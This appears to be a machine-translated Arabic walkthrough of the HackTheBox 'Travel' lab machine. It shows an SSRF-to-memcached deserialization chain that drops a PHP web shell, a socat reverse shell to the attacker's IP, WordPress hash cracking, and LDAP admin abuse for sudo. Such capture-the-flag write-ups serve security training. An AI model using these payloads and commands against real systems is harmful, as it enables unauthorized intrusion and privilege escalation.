هاكذا بوكس. السفر عبر المرور. Memcache + SSRF = RCE ، LPE عبر LDAP



أستمر في نشر الحلول المرسلة لإنهاء الآلات من موقع HackTheBox .



في هذه المقالة ، اكتشفنا كيفية الحصول على RCE باستخدام PHP memcache و SSRF ، والبحث في قاعدة البيانات ومعرفة ما هو خطير بالنسبة لمسؤول LDAP.



الاتصال بالمختبر عبر VPN. يوصى بعدم الاتصال من كمبيوتر العمل أو من مضيف توجد به بيانات مهمة بالنسبة لك ، حيث تجد نفسك في شبكة خاصة مع أشخاص يعرفون شيئًا عن أمن المعلومات.



المعلومات التنظيمية
, , Telegram . , , .



. , - , .



ريكون



هذا الجهاز لديه عنوان IP هو 10.10.10.189 ، والذي أقوم بإضافته إلى / etc / hosts.



10.10.10.189 	travel.htb


الخطوة الأولى هي فحص المنافذ المفتوحة. نظرًا لأن مسح جميع المنافذ باستخدام nmap يستغرق وقتًا طويلاً ، فسوف أقوم بذلك أولاً باستخدام masscan. نقوم بفحص جميع منافذ TCP و UDP من واجهة tun0 بمعدل 500 حزمة في الثانية.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، قم بإجراء فحص باستخدام الخيار -A.



nmap -A travel.htb -p22,80,443






وبالتالي ، يمكننا الوصول إلى خدمة SSH وخادم الويب nginx. يُظهر الفحص DNS المقصود بالشهادة. دعنا نضيفهم إلى / etc / hosts.



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


دعنا نلقي نظرة على هذه المواقع. في البداية نجد وصف الموقع.







والثاني أكثر إثارة للاهتمام. نرى على الفور أن هذا هو WordPress CMS والعثور على نموذج البحث.







فحص الموقع بسرعة باستخدام wpscan ، لم نجد شيئًا. تابع وانتقل إلى الموقع الثالث مع الخطأ 403. دعنا نكرر على الدلائل. أنا أستخدم gobuster لهذا الغرض. في المعلمات ، نحدد عدد التدفقات 128 (-t) ، URL (-u) ، القاموس (-w) والإضافات التي نهتم بها (-x).



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






ابحث عن .git. يمكننا نسخ المستودع.







يمكن القيام بذلك مع العديد من البرامج ، وأنا أستخدم البرنامج النصي rip-git .



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






وفي الدليل الحالي سنرى الملفات الناتجة ومستودع .git.







نستخدم gitk للعمل مع .git.







هناك تغيير ، نلاحظ منه وجود ذاكرة تخزين مؤقت وفحوصات أمنية.







في ملف rss_template.php ، حدد memcache ووجود معلمة url والتصحيح.







يجب أن تحتوي المعلمة على السلسلة "custom_feed_url". وعلى الأرجح سيتم تقديم طلب على هذا العنوان.







كانت صفحة RSS على blog.travel.htb .







لنبدأ خادم ويب محلي ونصل إلى awesome-rss ، ونمرر عنوان IP الخاص بنا كمعامل.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






ونلاحظ أن الافتراضات صحيحة. من الجدير بالذكر أنه إذا كان عنوان url مفقودًا ، فسيتم تحديد www.travel.htb / newsfeed / customfeed.xml .



نقطة الدخول



يقول README لنقل هذه الملفات إلى wp-content / theme / twentytwenty (لقد لاحظت ذلك عند البحث عن ملف debug.php). ويمكن العثور على ملف التصحيح هناك.











لذلك ، كل هذا مثير للاهتمام وغير واضح بعد ، لكنه يبدو مثل البيانات المتسلسلة. دعنا نجمع شيئًا واحدًا من كل المعلومات:
  1. نحتاج إلى الاتصال بالخادم والحصول على ملف feed.xml.



  2. تستخدم الوظيفة التي يتم تمرير عنوان url إليها واجهة SimplePie API (التي يوجد لها توثيق جيد ) و memcache. ستعيد هذه الوظيفة كائن simplepie.



  3. يتم توفير وظيفة url_get_contents في template.php. في هذه الحالة ، يوجد فحص ، والذي لا ينبغي أن يمنحنا الفرصة للوصول إلى الملفات الموجودة على الخادم. لكن مرشح SSRF ليس صحيحًا بما يكفي ، حيث يمكننا أيضًا الوصول إلى المضيف المحلي باستخدام العناوين 127.0.1.1 ، 127.1 ، 127.000.0.1 ، إلخ.



  4. بعد ذلك ، يتم عرض المعلومات من ملف feed.xml.
  5. هناك أيضًا فئة TemplateHelper ووظيفة init () التي تكتب البيانات المنقولة إلى الملف المحدد.





يبقى معرفة أي ملف في دليل السجلات تتم كتابة البيانات المتسلسلة إليه. دعنا نشير إلى الوثائق:







وبالتالي ، يتم تفسير المسار على أنه MD5 (MD5 (url) + ": spc"). دعنا نتحقق من ذلك ، ولهذا نقوم بتنزيل ملف xml من عنوان url الافتراضي.



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


الآن دعنا ننتقل إلى صفحة RSS ، ونمرر الملف الذي تم تنزيله إلى عنوان URL.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


ونحصل على البيانات المتسلسلة.



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






والآن ، باستخدام الصيغة أعلاه ، نحسب المسار المفسر.







وأول 10 بايت مطابقة! هذا هو المكان الذي تم فيه تحديد متجه الهجوم - PHP memcached و SSRF. بحث جوجل أوصلني إلى هذا النص .







تحتاج فقط إلى تغيير رمز حالتنا. لنقم بإنشاء بيانات متسلسلة.



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


وهكذا نكتب الكود <؟ Php system ($ _ REQUEST ["cmd"])؛ إلى ملف ralf.php عند إلغاء التسلسل. المفتاح الذي نهتم به أكثر هو xct_key ، والذي يمكننا حسابه بالفعل.







ثم نحصل على الكود التالي لإنشاء حمل.



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


وسنقوم بإلغاء التسلسل.



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


يتم تقديم الكود الكامل أدناه (كما هو الحال دائمًا صورة).











حسنًا ، لنقم بجولة عادية. ولكن نظرًا لوجود مشكلات في python pty ، فلنقم بإنشاء غلاف اتصال خلفي باستخدام socat. لنبدأ المستمع على العميل:



socat file:`tty`,raw,echo=0 tcp-listen:4321


والاتصال من الخادم:



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






المستعمل



عادة في مثل هذه الحالات ، يجب عليك التحقق من قاعدة بيانات المستخدم باستخدام Wordpress. لنجد ملف wp-config.php.







باستخدام بيانات الاعتماد هذه ، دعنا نتصل بـ mysql ، مهمتنا هي العثور على جدول wp_users.



mysql -h 127.0.0.1 -u wp -p


لنلق نظرة على قواعد البيانات.







دعنا نلقي نظرة حول قاعدة بيانات wp.











ونجد الجدول المطلوب.







صحيح ، عند محاولتنا استخدام القوة الغاشمة للتجزئة ، فإننا نحصل على فشل. لا توجد كلمات مرور من هذا القبيل. ثم قمت بتنزيل البرنامج النصي linpeas على الجهاز وقمت ببعض عمليات التعداد الأساسية.



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


لا نجد شيئًا مميزًا إلا أننا في حاوية الرصيف.







لكن هذا البرنامج النصي لا يتحقق من دليل opt. وبما أننا وجدنا فقط نسخة احتياطية لقاعدة البيانات.







إذا نظرنا إلى الأسطر الموجودة في هذا الملف ، فهناك إدخال حول مستخدمين في النهاية.







لكن الثانية وحشية.







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






وباستخدام كلمة المرور التي تم العثور عليها ، اتصل عبر ssh.







جذر



نجد أيضًا ملفين مهمين في دليل عمل المستخدم - .ldaprc و .viminfo.







دعونا نرى ما بالداخل. وهكذا ، نجد في الملف الأول سجل ldap لمستخدمنا.







وفي الثانية كلمة مرور ldap الخاصة به.







دعونا التحقق من ذلك. اتصل بـ ldapwhoami باستخدام خياري -x (مصادقة بسيطة) و -w (كلمة المرور).



ldapwhoami -x -w Theroadlesstraveled






نرى إدخالاً من ملف .ldaprc. دعنا نطلب المعلومات.



ldapsearch -x -w Theroadlesstraveled










وبالتالي ، نحصل على قائمة بالمستخدمين ونعلم أننا مشرف LDAP. أي أنه يمكننا إنشاء مفتاح SSH لأي مستخدم وتغيير كلمة المرور وإدخال مجموعة sudo في المجموعة! مجموعة سودو - 27.







لنقم بإنشاء زوج من المفاتيح.







لنقم الآن بإنشاء ملف تكوين.







دعونا نطبقها على المستخدم الصريح.



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






والاتصال عبر SSH



ssh -i id_rsa frank@travel


الآن دعنا نستخدم sudo مع كلمة المرور الخاصة بنا.







يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ودورات مسربة وبرامج. دعنا نجمع مجتمعًا يكون فيه أشخاص على دراية بالعديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي مشكلات تتعلق بتكنولوجيا المعلومات وأمن المعلومات.



All Articles